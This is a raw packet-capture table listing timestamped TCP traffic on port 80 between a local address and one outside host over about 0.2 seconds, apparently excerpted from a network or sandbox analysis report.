Sep 26, 2024 15:11:18.541254997 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.541273117 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.541289091 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.541309118 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.541322947 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.541359901 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.541392088 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.541424036 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.541436911 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.541436911 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.541457891 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.541515112 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.541548967 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.541578054 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.541587114 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.541621923 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.541656971 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.541656017 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.541699886 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.541733027 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.541739941 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.541768074 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.541799068 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.541800022 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.541835070 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.541893005 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.541944981 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.541979074 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.541990042 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.541990042 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.541990042 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.542010069 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.542045116 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.542079926 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.542110920 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.542113066 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.542140007 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.542148113 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.542186022 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.542217970 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.542234898 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.542268991 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.542304039 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.542339087 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.542339087 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.542372942 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.542407036 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.542426109 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.542438984 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.542469025 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.542519093 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.542552948 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.542562962 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.542603970 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.542607069 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.542658091 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.542676926 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.542691946 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.542742968 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.542762041 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.542777061 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.542812109 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.542845011 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.542865038 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.542897940 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.542932034 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.542963982 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.542975903 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.542975903 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.542998075 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.543066025 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.543093920 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.543112040 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.543144941 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.543162107 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.543163061 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.543176889 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.543210983 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.543241978 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.543242931 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.543276072 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.543278933 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.543298006 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.543330908 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.543334007 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.543365002 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.543370008 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.543421984 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.543473005 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.543493986 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.543507099 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.543540955 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.543560028 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.543592930 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.543610096 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.543610096 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.543627977 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.543658018 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.543678045 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.543692112 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.543726921 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.543759108 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.543792963 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.543824911 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.543828964 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.543828964 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.543859959 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.543894053 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.543898106 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.543931961 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.543965101 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.543998003 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.544032097 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.544032097 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.544034004 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.544070959 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.544100046 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.544131994 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.544131994 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.544153929 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.544168949 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.544202089 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.544234991 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.544266939 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.544306993 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.544317961 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.544334888 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.544414997 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.588579893 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.588609934 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.588623047 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.588629007 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.588640928 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.588651896 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.588666916 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.588700056 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.588810921 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.627890110 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.627971888 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.627995968 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.628012896 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.628048897 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.628103971 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.628137112 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.628163099 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.628170967 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.628213882 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.628266096 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.628299952 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.628323078 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.628335953 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.628375053 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.628427029 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.628462076 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.628473043 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.628473043 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.628495932 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.628532887 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.628551960 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.628588915 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.628622055 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.628654957 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.628689051 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.628711939 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.628711939 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.628724098 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.628757954 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.628793001 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.628825903 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.628839016 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.628879070 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.628879070 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.628917933 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.628952980 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.628984928 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.629020929 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.629034996 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.629054070 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.629105091 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.629121065 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.629137993 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.629172087 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.629205942 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.629220009 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.629240990 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.629275084 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.629307032 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.629343987 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.629348040 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.629380941 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.629384041 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.629419088 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.629452944 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.629486084 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.629520893 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.629535913 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.629555941 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.629606009 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.629636049 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.629659891 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.629669905 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.629703045 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.629735947 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.629738092 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.629772902 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.629792929 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.629805088 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.629862070 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.629892111 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.629915953 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.629925013 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.629961014 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.629995108 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.630032063 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.630084038 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.630114079 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.630114079 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.630126953 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.630146027 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.630157948 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.630192041 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.630197048 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.630225897 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.630244017 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.630276918 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.630280972 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.630299091 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.630311012 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.630343914 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.630376101 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.630426884 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.630450010 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.630450010 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.630461931 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.630496979 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.630528927 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.630562067 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.630563974 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.630597115 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.630630970 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.630664110 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.630697012 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.630728960 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.630734921 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.630764961 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.630815983 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.630831003 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.630831003 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.630856037 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.630888939 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.630922079 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.630942106 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.630956888 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.630990028 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.630994081 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.630994081 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.631028891 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.631063938 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.631098032 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.631134033 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.631275892 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.631309986 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.631341934 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.631345034 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.631345034 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.631375074 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.631433010 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.631433964 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.631469011 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.631500959 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.631531954 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.631535053 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.631565094 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.631580114 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.631583929 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.631594896 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.631608963 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.631619930 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.631624937 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.631639957 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.631644964 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.631654978 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.631671906 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.631675959 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.631685972 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.631700993 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.631711960 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.631724119 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.631736040 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.631747961 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.631759882 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.631761074 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.631761074 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.631761074 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.631772041 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.631813049 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.631813049 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.676640987 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.676700115 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.676742077 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.676758051 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.676796913 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.676831961 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.676867008 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.676901102 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.676935911 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.676973104 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.676973104 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.676973104 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.715167046 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.715187073 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.715208054 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.715220928 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.715230942 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.715234041 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.715249062 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.715260029 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.715271950 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.715285063 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.715287924 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.715329885 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.715342045 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.715353012 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.715404987 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.715413094 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.715413094 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.715413094 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.715413094 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.715418100 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.715428114 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.715439081 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.715451956 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.715496063 CEST	49732	80	192.168.2.12	172.86.66.70
